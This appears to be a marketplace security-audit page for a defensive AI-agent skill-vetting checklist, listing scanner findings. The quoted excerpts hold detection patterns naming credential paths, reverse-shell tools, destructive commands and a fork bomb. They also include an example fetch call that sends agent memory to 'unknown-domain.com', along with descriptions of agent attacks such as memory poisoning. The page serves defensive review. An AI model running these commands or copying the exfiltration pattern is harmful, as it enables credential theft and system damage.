ClawHub
Back to skill

Security audit

aegis-skill-vetter

Security checks for vulnerabilities and agentic risk

Overview

This is a defensive skill-review checklist and reporting framework, with scanner hits coming from examples of risks to detect rather than behavior the skill performs.

Installers should understand that this skill is a security review framework, not an independent sandbox. Its example commands may inspect local skill files and query public repository metadata, so run them only on skill folders you intend to review and verify any generated recommendation before allowing installation actions.

A.I.G

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs

SkillSpector

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (8)

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · skill.md (reported line 114)May include surrounding context.

md
grep -r "curl\|wget" --include="*.md" --include="*.sh" --include="*.js" --include="*.py" .
grep -r "exec(\|eval(" --include="*.js" --include="*.py" .
grep -r "base64.*decode\|atob(" --include="*.js" --include="*.py" .
grep -r "~/.ssh\|~/.aws\|~/.config\|credentials\|\.env" --include="*.md" --include="*.js" --include="*.py" .
grep -r "MEMORY.md\|SOUL.md\|USER.md\|IDENTITY.md" --include="*.md" --include="*.js" --include="*.py" .
grep -r "sudo\|pkexec\|doas" --include="*.md" --include="*.sh" .
grep -r "rm -rf\|dd if=\|mkfs\|:(){:|:&};:" --include="*.sh" .

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · skill.md (reported line 132)May include surrounding context.

md
| 凭证窃取 | `~/.ssh`, `~/.aws`, `credentials` | ⛔ CRITICAL | 窃取敏感信息 |
| 记忆访问 | `MEMORY.md`, `SOUL.md`, `USER.md` | ⛔ CRITICAL | 访问私有上下文 |
| 提权尝试 | `sudo`, `pkexec`, `doas` | ⛔ CRITICAL | 尝试获取更高权限 |
| 破坏命令 | `rm -rf /`, `dd if=`, `mkfs` | ⛔ CRITICAL | 破坏系统 |
| 混淆代码 | 长十六进制字符串、压缩代码 | ⛔ CRITICAL | 隐藏真实功能 |
| XSS 攻击 | `javascript:`, `data:text/html` | ⛔ CRITICAL | 浏览器攻击 |
| 反向 Shell | `bash -i`, `nc -e`, `python.*socket` | ⛔ CRITICAL | 建立后门 |

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · skill.md (reported line 132)May include surrounding context.

md
| 凭证窃取 | `~/.ssh`, `~/.aws`, `credentials` | ⛔ CRITICAL | 窃取敏感信息 |
| 记忆访问 | `MEMORY.md`, `SOUL.md`, `USER.md` | ⛔ CRITICAL | 访问私有上下文 |
| 提权尝试 | `sudo`, `pkexec`, `doas` | ⛔ CRITICAL | 尝试获取更高权限 |
| 破坏命令 | `rm -rf /`, `dd if=`, `mkfs` | ⛔ CRITICAL | 破坏系统 |
| 混淆代码 | 长十六进制字符串、压缩代码 | ⛔ CRITICAL | 隐藏真实功能 |
| XSS 攻击 | `javascript:`, `data:text/html` | ⛔ CRITICAL | 浏览器攻击 |
| 反向 Shell | `bash -i`, `nc -e`, `python.*socket` | ⛔ CRITICAL | 建立后门 |

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

This markdown skill description presents the primary operational content in Chinese, and the embedded user-facing script messages are also Chinese. The file does not state that the skill is region-specific or offer users a language/locale opt-in, which can violate language-choice policy for general-purpose skills.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · skill.md (reported line 89)May include surrounding context.

md
skillhub info <skill-name>

# GitHub 仓库统计
curl -s "https://api.github.com/repos/{owner}/{repo}" | jq '{
  stars: .stargazers_count,
  forks: .forks_count,
  updated: .updated_at,

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · skill.md (reported line 480)May include surrounding context.

数据外传模式：

javascript
// 可疑模式
fetch('https://unknown-domain.com/api', {
  method: 'POST',
  body: JSON.stringify({ memory: context.memory })
})

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · skill.md (reported line 506)May include surrounding context.

推荐模式：

javascript
// ✅ 好的做法：明确的 API 调用，无动态执行
const weather = await fetch('https://api.weather.gov/...');
const data = await weather.json();

// ✅ 好的做法：文件操作限制在工作区

Scope Creep

Low
Category
Excessive Agency
Confidence
70% confidence
Finding

Skill's behavior or capabilities extend beyond its stated purpose. Scope creep allows an agent to perform actions unrelated to its documented functionality, increasing the attack surface.

Content

Scanner excerpt · skill.md (reported line 571)May include surrounding context.

md
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,

Static analysis

No suspicious patterns detected.